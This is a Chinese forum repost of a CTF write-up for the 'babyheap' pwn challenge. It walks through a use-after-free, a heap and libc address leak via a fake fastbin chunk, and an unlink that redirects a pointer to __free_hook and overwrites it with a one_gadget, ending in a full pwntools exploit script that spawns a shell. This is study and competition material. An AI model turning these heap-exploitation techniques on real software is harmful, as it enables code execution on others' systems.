|
正在备战网鼎杯,做了一下去年第一场的pwn,babyheap这题
没有特别难,但是涉及到fastbin_attack UAF unlink的利用 综合性较强,比力考验堆弊端基础
调试情况:
vm 捏造机 ubuntu16.04
gdb-peda(我习惯用peda pwndbg也可以)
IDA pro 7.0
python pwntools
babyheap.rar
由于是本地调试 以是就不给出libc了,我用的是ubuntu16.04自带的libc-2.23.so
检查下程序的安全性(checksec easyheap)
下面解释一下安全机制
Arch: amd64-64-little
RELRO: Full RELRO #got表保护开启,没有got写权限
Stack: Canary found #canary保护开启(常用于防止栈溢出)
NX: NX enabled #堆栈不可执行保护开启(防止写入的shellcode执行)
PIE: No PIE (0x400000) # 地址随机化未开启 (代码段的地址随机化)
其中 got表写入保护开启,这一段说明。我们不能通太过配堆块 或者unlink写入等方法直接攻击got表(这也在一定程度上增大了难度)
ida分析(f5查看伪代码)
比力常见的菜单选择,先分析 alloc()
申请的堆块大小是固定的malloc(0x20) 限制了申请堆块的大小,申请到的堆块地址同一放到一个全局数组里面,地址为0x602060
看一下edit()
读取输入时限定了大小为0x20以是不存在堆溢出弊端(不能直接恶意篡改相邻堆块的fd bk指针)
看一下show()
输出方式为puts(ptr<i>) 传入全局数组的指针
再看一下Free()
存在明显的UAF弊端 ,free掉指针后并没有设置为NULL(free掉之后可以对堆块举行读写操纵,这也意味着可以在free掉之后读取fd bk指针 也可以伪造fastbin链)
由于本题涉及到大量关于堆数据结构,堆分配,堆合并等相关基础知识,这里给出几个ctf pwn heap 的学习资料链接,在解题时以做对照
https://wiki.x10sec.org/pwn/heap/heap_implementation_details/ ctfwiki
大抵解题思绪
1.利用uaf泄漏堆地址
alloc(0)#
alloc(1)#
free(1) # topchunk->1
free(0) #topchunk->0->1
此时,chun0k的fd指向chunk1的起始地址
show(0)打印出chunk1的地址
heap_base=chunk1_addr-0x30 #一个堆块大小为0x30
现在我们获取到了堆的基地址
2.伪造fastbin链修改堆块的size位,伪造一个unsorted bin ,free 后unsorted bin的fd会指向main_arena 再通过show()泄漏出libc基地址
(这一步实在就开始有点晕了,但是慢慢理解应该没问题,或许这就是pwn的魅力吧)
edit(0, p64(heap_base_addr + 0x20) + p64(0) + p64(0) + p64(0x31))# heap的 fd 指针指向heap+20 再次分配时会分配时会把chunk1的size位分配出
#pause()
alloc(6, p64(0) + p64(0xa1) + '\n')#chunk 0
#pause()
alloc(7, p64(0) + p64(0xa1) + '\n')#chunk 1
#pause()
free(1)
show(1)#leak_libc_addr
# addr-0x3cb20-88=addr-0x3c4b78
tips: main_arena计算方法
ida加载相应版本libc
3. unlink 修改全局数组ptr的指针,改为free hook
直接附上exp由于unlink 是从第一部开始铺垫的
from pwn import *
context.log_level="debug"
p=process("./babyheap")
libc=("./libc-2.23.so")
onegadget=0x4526a
free_hook=0x3c67a8
malloc_hook=0x3c4b10
def alloc(index,content):
p.recvuntil("Choice:")
p.sendline("1")
p.recvuntil("Index:")
p.sendline(str(index))
p.recvuntil("Content:")
p.send(str(content))
def edit(idx,content):
p.recvuntil('Choice:')
p.sendline('2')
p.recvuntil("Index:")
p.sendline(str(idx))
p.recvuntil("Content:")
p.send(str(content))
def free(idx):
p.recvuntil('Choice:')
p.sendline('4')
p.recvuntil("Index:")
p.sendline(str(idx))
def show(idx):
p.recvuntil('Choice:')
p.sendline('3')
p.recvuntil("Index:")
p.sendline(str(idx))
alloc(0,"aaaaaaaa\n")#0x0
alloc(1,"bbbbbbbb\n")#0x30
alloc(2,"cccccccc\n")#0x60
alloc(3,"dddddddd\n")#0x90
#alloc(4,"eeeeeeee\n")#
#alloc(5,"ffffffff\n")
#P=0x602080 #FD =0x602068 #BK=0x602070
alloc(4, p64(0) + p64(0x31) + p64(0x602080 - 0x18) + p64(0x602080 - 0x10))#0xc0 #0xd0 from 0xd0 must be a fake chunk
# *(0x602080)=0x602070 fd->bk=BK *(0x602080)=0x602068 bk->fd=FD
#target_addr=0x602080 its value has been changed twice 1:fd->bk=BK 2:bk->fd=FD
#check: BK->fd==P && FD->bk==P
# 0x602070+0x10=P 0x602068+0x18=P check pass
alloc(5, p64(0x30) + p64(0x30) + '\n')#0xf0 0x100 must be a fake chunk
#pause()
free(1)#top_chunk ->1
free(0)#top_chunk ->0->1
#chunk0_fd->chunk1
#pause()
show(0)# leak heap_addr(chunk1_addr)
heap_addr=u32(p.recv(4))
heap_base_addr=heap_addr-0x30
print hex(heap_base_addr)
#pause()
edit(0, p64(heap_base_addr + 0x20) + p64(0) + p64(0) + p64(0x31))
#pause()
alloc(6, p64(0) + p64(0xa1) + '\n')#chunk 0
#pause()
alloc(7, p64(0) + p64(0xa1) + '\n')#chunk 1
#pause()
free(1)
show(1)#leak_libc_addr
# addr-0x3cb20-88=addr-0x3c4b78
libc_base = u64(p.recvline()[ : -1].ljust(8, '\x00'))-0x3c4b78
print hex(libc_base)
pause()
edit(4,p64(libc_base + 0x3c67a8) + '\n')#free_hook
#pause()
#堆块1的指针指向free_hook
#下一步直接修改free_hook地址为one_gadget即可
edit(1, p64(libc_base + onegadget)[:-1] + '\n')#
free(1)
p.interactive()
大功告成,这个题还是挺复杂的。
感觉堆的基础知识还是不敷得去补一补
来源:http://www.12558.net
免责声明:如果侵犯了您的权益,请联系站长,我们会及时删除侵权内容,谢谢合作! |
本帖子中包含更多资源
您需要 登录 才可以下载或查看,没有帐号?立即注册
x
|